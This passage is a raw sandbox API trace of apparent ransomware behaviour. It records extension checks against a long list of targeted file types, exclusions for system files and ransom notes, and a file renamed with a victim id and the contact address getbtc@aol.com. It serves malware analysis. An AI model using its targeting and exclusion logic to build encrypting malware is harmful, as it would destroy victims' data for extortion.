lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".aspx") returned 5 [0235.846] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0235.846] lstrlenW (lpString=".asr") returned 4 [0235.846] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".asx") returned 4 [0235.846] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".avi") returned 4 [0235.846] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".avs") returned 4 [0235.846] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".backup") returned 7 [0235.846] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0235.846] lstrlenW (lpString=".bak") returned 4 [0235.846] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".bay") returned 4 [0235.846] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".bd") returned 3 [0235.846] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0235.846] lstrlenW (lpString=".bin") returned 4 [0235.846] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".bmp") returned 4 [0235.847] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".bz2") returned 4 [0235.847] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".c") returned 2 [0235.847] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0235.847] lstrlenW (lpString=".cdr") returned 4 [0235.847] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".cer") returned 4 [0235.847] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".cf") returned 3 [0235.847] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0235.847] lstrlenW (lpString=".cfc") returned 4 [0235.847] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".cfm") returned 4 [0235.847] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".cfml") returned 5 [0235.847] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0235.847] lstrlenW (lpString=".cfu") returned 4 [0235.847] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".chm") returned 4 [0235.847] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".cin") returned 4 [0235.847] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".class") returned 6 [0235.847] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0235.847] lstrlenW (lpString=".clx") returned 4 [0235.847] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".config") returned 7 [0235.847] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0235.847] lstrlenW (lpString=".cpp") returned 4 [0235.847] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".cr2") returned 4 [0235.847] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".crt") returned 4 [0235.847] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0235.847] lstrlenW (lpString=".crw") returned 4 [0235.847] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".cs") returned 3 [0235.848] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0235.848] lstrlenW (lpString=".css") returned 4 [0235.848] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".csv") returned 4 [0235.848] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".cub") returned 4 [0235.848] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dae") returned 4 [0235.848] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dat") returned 4 [0235.848] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".db") returned 3 [0235.848] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0235.848] lstrlenW (lpString=".dbf") returned 4 [0235.848] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dbx") returned 4 [0235.848] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dc3") returned 4 [0235.848] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dcm") returned 4 [0235.848] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dcr") returned 4 [0235.848] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".der") returned 4 [0235.848] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dib") returned 4 [0235.848] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dic") returned 4 [0235.848] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".dif") returned 4 [0235.848] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".divx") returned 5 [0235.848] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0235.848] lstrlenW (lpString=".djvu") returned 5 [0235.848] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0235.848] lstrlenW (lpString=".dng") returned 4 [0235.848] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0235.848] lstrlenW (lpString=".doc") returned 4 [0235.849] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".docm") returned 5 [0235.849] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0235.849] lstrlenW (lpString=".docx") returned 5 [0235.849] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0235.849] lstrlenW (lpString=".dot") returned 4 [0235.849] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dotm") returned 5 [0235.849] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0235.849] lstrlenW (lpString=".dotx") returned 5 [0235.849] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0235.849] lstrlenW (lpString=".dpx") returned 4 [0235.849] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dqy") returned 4 [0235.849] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dsn") returned 4 [0235.849] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dt") returned 3 [0235.849] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0235.849] lstrlenW (lpString=".dtd") returned 4 [0235.849] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dwg") returned 4 [0235.849] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dwt") returned 4 [0235.849] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".dx") returned 3 [0235.849] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0235.849] lstrlenW (lpString=".dxf") returned 4 [0235.849] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".edml") returned 5 [0235.849] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0235.849] lstrlenW (lpString=".efd") returned 4 [0235.849] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".elf") returned 4 [0235.849] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".emf") returned 4 [0235.849] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0235.849] lstrlenW (lpString=".emz") returned 4 [0235.849] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".epf") returned 4 [0235.850] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".eps") returned 4 [0235.850] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".epsf") returned 5 [0235.850] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0235.850] lstrlenW (lpString=".epsp") returned 5 [0235.850] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0235.850] lstrlenW (lpString=".erf") returned 4 [0235.850] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".exr") returned 4 [0235.850] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".f4v") returned 4 [0235.850] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".fido") returned 5 [0235.850] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0235.850] lstrlenW (lpString=".flm") returned 4 [0235.850] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".flv") returned 4 [0235.850] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".frm") returned 4 [0235.850] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".fxg") returned 4 [0235.850] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".geo") returned 4 [0235.850] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".gif") returned 4 [0235.850] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".grs") returned 4 [0235.850] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".gz") returned 3 [0235.850] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0235.850] lstrlenW (lpString=".h") returned 2 [0235.850] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0235.850] lstrlenW (lpString=".hdr") returned 4 [0235.850] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".hpp") returned 4 [0235.850] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0235.850] lstrlenW (lpString=".hta") returned 4 [0235.851] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".htc") returned 4 [0235.851] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".htm") returned 4 [0235.851] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".html") returned 5 [0235.851] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0235.851] lstrlenW (lpString=".icb") returned 4 [0235.851] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".ics") returned 4 [0235.851] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".iff") returned 4 [0235.851] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".inc") returned 4 [0235.851] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0235.851] lstrlenW (lpString=".indd") returned 5 [0235.851] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0235.851] lstrlenW (lpString=".ini") returned 4 [0235.851] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0235.851] lstrlenW (lpString="desktop.ini") returned 11 [0235.851] lstrlenW (lpString=".Q1G") returned 4 [0235.851] lstrcmpiW (lpString1=".Q1G", lpString2=".ini") returned 1 [0235.851] lstrlenW (lpString="desktop.ini") returned 11 [0235.851] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0235.851] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0235.851] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0235.851] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0235.851] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0235.851] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0235.851] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0235.851] lstrcmpiW (lpString1="uyuquk.exe", lpString2="desktop.ini") returned 1 [0235.851] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.851] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x369f808 | out: lpFindFileData=0x369f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x45b5c880, ftCreationTime.dwHighDateTime=0x1d54a09, ftLastAccessTime.dwLowDateTime=0x45b5c880, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45b829e0, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G", cAlternateFileName="DESKTO~1.Q1G")) returned 1 [0235.851] lstrlenW (lpString="desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G") returned 44 [0235.852] lstrlenW (lpString=".1cd") returned 4 [0235.852] lstrcmpiW (lpString1=".1cd", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".3ds") returned 4 [0235.852] lstrcmpiW (lpString1=".3ds", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".3fr") returned 4 [0235.852] lstrcmpiW (lpString1=".3fr", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".3g2") returned 4 [0235.852] lstrcmpiW (lpString1=".3g2", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".3gp") returned 4 [0235.852] lstrcmpiW (lpString1=".3gp", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".7z") returned 3 [0235.852] lstrcmpiW (lpString1=".7z", lpString2="Q1G") returned -1 [0235.852] lstrlenW (lpString=".accda") returned 6 [0235.852] lstrcmpiW (lpString1=".accda", lpString2="m].Q1G") returned -1 [0235.852] lstrlenW (lpString=".accdb") returned 6 [0235.852] lstrcmpiW (lpString1=".accdb", lpString2="m].Q1G") returned -1 [0235.852] lstrlenW (lpString=".accdc") returned 6 [0235.852] lstrcmpiW (lpString1=".accdc", lpString2="m].Q1G") returned -1 [0235.852] lstrlenW (lpString=".accde") returned 6 [0235.852] lstrcmpiW (lpString1=".accde", lpString2="m].Q1G") returned -1 [0235.852] lstrlenW (lpString=".accdt") returned 6 [0235.852] lstrcmpiW (lpString1=".accdt", lpString2="m].Q1G") returned -1 [0235.852] lstrlenW (lpString=".accdw") returned 6 [0235.852] lstrcmpiW (lpString1=".accdw", lpString2="m].Q1G") returned -1 [0235.852] lstrlenW (lpString=".adb") returned 4 [0235.852] lstrcmpiW (lpString1=".adb", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".adp") returned 4 [0235.852] lstrcmpiW (lpString1=".adp", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".ai") returned 3 [0235.852] lstrcmpiW (lpString1=".ai", lpString2="Q1G") returned -1 [0235.852] lstrlenW (lpString=".ai3") returned 4 [0235.852] lstrcmpiW (lpString1=".ai3", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".ai4") returned 4 [0235.852] lstrcmpiW (lpString1=".ai4", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".ai5") returned 4 [0235.852] lstrcmpiW (lpString1=".ai5", lpString2=".Q1G") returned -1 [0235.852] lstrlenW (lpString=".ai6") returned 4 [0235.852] lstrcmpiW (lpString1=".ai6", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".ai7") returned 4 [0235.853] lstrcmpiW (lpString1=".ai7", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".ai8") returned 4 [0235.853] lstrcmpiW (lpString1=".ai8", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".anim") returned 5 [0235.853] lstrcmpiW (lpString1=".anim", lpString2="].Q1G") returned -1 [0235.853] lstrlenW (lpString=".arw") returned 4 [0235.853] lstrcmpiW (lpString1=".arw", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".as") returned 3 [0235.853] lstrcmpiW (lpString1=".as", lpString2="Q1G") returned -1 [0235.853] lstrlenW (lpString=".asa") returned 4 [0235.853] lstrcmpiW (lpString1=".asa", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".asc") returned 4 [0235.853] lstrcmpiW (lpString1=".asc", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".ascx") returned 5 [0235.853] lstrcmpiW (lpString1=".ascx", lpString2="].Q1G") returned -1 [0235.853] lstrlenW (lpString=".asm") returned 4 [0235.853] lstrcmpiW (lpString1=".asm", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".asmx") returned 5 [0235.853] lstrcmpiW (lpString1=".asmx", lpString2="].Q1G") returned -1 [0235.853] lstrlenW (lpString=".asp") returned 4 [0235.853] lstrcmpiW (lpString1=".asp", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".aspx") returned 5 [0235.853] lstrcmpiW (lpString1=".aspx", lpString2="].Q1G") returned -1 [0235.853] lstrlenW (lpString=".asr") returned 4 [0235.853] lstrcmpiW (lpString1=".asr", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".asx") returned 4 [0235.853] lstrcmpiW (lpString1=".asx", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".avi") returned 4 [0235.853] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".avs") returned 4 [0235.853] lstrcmpiW (lpString1=".avs", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".backup") returned 7 [0235.853] lstrcmpiW (lpString1=".backup", lpString2="om].Q1G") returned -1 [0235.853] lstrlenW (lpString=".bak") returned 4 [0235.853] lstrcmpiW (lpString1=".bak", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".bay") returned 4 [0235.853] lstrcmpiW (lpString1=".bay", lpString2=".Q1G") returned -1 [0235.853] lstrlenW (lpString=".bd") returned 3 [0235.854] lstrcmpiW (lpString1=".bd", lpString2="Q1G") returned -1 [0235.854] lstrlenW (lpString=".bin") returned 4 [0235.854] lstrcmpiW (lpString1=".bin", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".bmp") returned 4 [0235.854] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".bz2") returned 4 [0235.854] lstrcmpiW (lpString1=".bz2", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".c") returned 2 [0235.854] lstrcmpiW (lpString1=".c", lpString2="1G") returned -1 [0235.854] lstrlenW (lpString=".cdr") returned 4 [0235.854] lstrcmpiW (lpString1=".cdr", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".cer") returned 4 [0235.854] lstrcmpiW (lpString1=".cer", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".cf") returned 3 [0235.854] lstrcmpiW (lpString1=".cf", lpString2="Q1G") returned -1 [0235.854] lstrlenW (lpString=".cfc") returned 4 [0235.854] lstrcmpiW (lpString1=".cfc", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".cfm") returned 4 [0235.854] lstrcmpiW (lpString1=".cfm", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".cfml") returned 5 [0235.854] lstrcmpiW (lpString1=".cfml", lpString2="].Q1G") returned -1 [0235.854] lstrlenW (lpString=".cfu") returned 4 [0235.854] lstrcmpiW (lpString1=".cfu", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".chm") returned 4 [0235.854] lstrcmpiW (lpString1=".chm", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".cin") returned 4 [0235.854] lstrcmpiW (lpString1=".cin", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".class") returned 6 [0235.854] lstrcmpiW (lpString1=".class", lpString2="m].Q1G") returned -1 [0235.854] lstrlenW (lpString=".clx") returned 4 [0235.854] lstrcmpiW (lpString1=".clx", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".config") returned 7 [0235.854] lstrcmpiW (lpString1=".config", lpString2="om].Q1G") returned -1 [0235.854] lstrlenW (lpString=".cpp") returned 4 [0235.854] lstrcmpiW (lpString1=".cpp", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".cr2") returned 4 [0235.854] lstrcmpiW (lpString1=".cr2", lpString2=".Q1G") returned -1 [0235.854] lstrlenW (lpString=".crt") returned 4 [0235.855] lstrcmpiW (lpString1=".crt", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".crw") returned 4 [0235.855] lstrcmpiW (lpString1=".crw", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".cs") returned 3 [0235.855] lstrcmpiW (lpString1=".cs", lpString2="Q1G") returned -1 [0235.855] lstrlenW (lpString=".css") returned 4 [0235.855] lstrcmpiW (lpString1=".css", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".csv") returned 4 [0235.855] lstrcmpiW (lpString1=".csv", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".cub") returned 4 [0235.855] lstrcmpiW (lpString1=".cub", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dae") returned 4 [0235.855] lstrcmpiW (lpString1=".dae", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dat") returned 4 [0235.855] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".db") returned 3 [0235.855] lstrcmpiW (lpString1=".db", lpString2="Q1G") returned -1 [0235.855] lstrlenW (lpString=".dbf") returned 4 [0235.855] lstrcmpiW (lpString1=".dbf", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dbx") returned 4 [0235.855] lstrcmpiW (lpString1=".dbx", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dc3") returned 4 [0235.855] lstrcmpiW (lpString1=".dc3", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dcm") returned 4 [0235.855] lstrcmpiW (lpString1=".dcm", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dcr") returned 4 [0235.855] lstrcmpiW (lpString1=".dcr", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".der") returned 4 [0235.855] lstrcmpiW (lpString1=".der", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dib") returned 4 [0235.855] lstrcmpiW (lpString1=".dib", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dic") returned 4 [0235.855] lstrcmpiW (lpString1=".dic", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".dif") returned 4 [0235.855] lstrcmpiW (lpString1=".dif", lpString2=".Q1G") returned -1 [0235.855] lstrlenW (lpString=".divx") returned 5 [0235.855] lstrcmpiW (lpString1=".divx", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".djvu") returned 5 [0235.856] lstrcmpiW (lpString1=".djvu", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".dng") returned 4 [0235.856] lstrcmpiW (lpString1=".dng", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".doc") returned 4 [0235.856] lstrcmpiW (lpString1=".doc", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".docm") returned 5 [0235.856] lstrcmpiW (lpString1=".docm", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".docx") returned 5 [0235.856] lstrcmpiW (lpString1=".docx", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".dot") returned 4 [0235.856] lstrcmpiW (lpString1=".dot", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dotm") returned 5 [0235.856] lstrcmpiW (lpString1=".dotm", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".dotx") returned 5 [0235.856] lstrcmpiW (lpString1=".dotx", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".dpx") returned 4 [0235.856] lstrcmpiW (lpString1=".dpx", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dqy") returned 4 [0235.856] lstrcmpiW (lpString1=".dqy", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dsn") returned 4 [0235.856] lstrcmpiW (lpString1=".dsn", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dt") returned 3 [0235.856] lstrcmpiW (lpString1=".dt", lpString2="Q1G") returned -1 [0235.856] lstrlenW (lpString=".dtd") returned 4 [0235.856] lstrcmpiW (lpString1=".dtd", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dwg") returned 4 [0235.856] lstrcmpiW (lpString1=".dwg", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dwt") returned 4 [0235.856] lstrcmpiW (lpString1=".dwt", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".dx") returned 3 [0235.856] lstrcmpiW (lpString1=".dx", lpString2="Q1G") returned -1 [0235.856] lstrlenW (lpString=".dxf") returned 4 [0235.856] lstrcmpiW (lpString1=".dxf", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".edml") returned 5 [0235.856] lstrcmpiW (lpString1=".edml", lpString2="].Q1G") returned -1 [0235.856] lstrlenW (lpString=".efd") returned 4 [0235.856] lstrcmpiW (lpString1=".efd", lpString2=".Q1G") returned -1 [0235.856] lstrlenW (lpString=".elf") returned 4 [0235.857] lstrcmpiW (lpString1=".elf", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".emf") returned 4 [0235.857] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".emz") returned 4 [0235.857] lstrcmpiW (lpString1=".emz", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".epf") returned 4 [0235.857] lstrcmpiW (lpString1=".epf", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".eps") returned 4 [0235.857] lstrcmpiW (lpString1=".eps", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".epsf") returned 5 [0235.857] lstrcmpiW (lpString1=".epsf", lpString2="].Q1G") returned -1 [0235.857] lstrlenW (lpString=".epsp") returned 5 [0235.857] lstrcmpiW (lpString1=".epsp", lpString2="].Q1G") returned -1 [0235.857] lstrlenW (lpString=".erf") returned 4 [0235.857] lstrcmpiW (lpString1=".erf", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".exr") returned 4 [0235.857] lstrcmpiW (lpString1=".exr", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".f4v") returned 4 [0235.857] lstrcmpiW (lpString1=".f4v", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".fido") returned 5 [0235.857] lstrcmpiW (lpString1=".fido", lpString2="].Q1G") returned -1 [0235.857] lstrlenW (lpString=".flm") returned 4 [0235.857] lstrcmpiW (lpString1=".flm", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".flv") returned 4 [0235.857] lstrcmpiW (lpString1=".flv", lpString2=".Q1G") returned -1 [0235.857] lstrlenW (lpString=".frm") returned 4 [0235.857] lstrcmpiW (lpString1=".frm", lpString2=".Q1G") returned -1 [0235.860] FindNextFileW (in: hFindFile=0x5a2d48, lpFindFileData=0x369fa84 | out: lpFindFileData=0x369fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x45bf4e00, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45bf4e00, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.860] FindNextFileW (in: hFindFile=0x5a2d48, lpFindFileData=0x369fa84 | out: lpFindFileData=0x369fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, 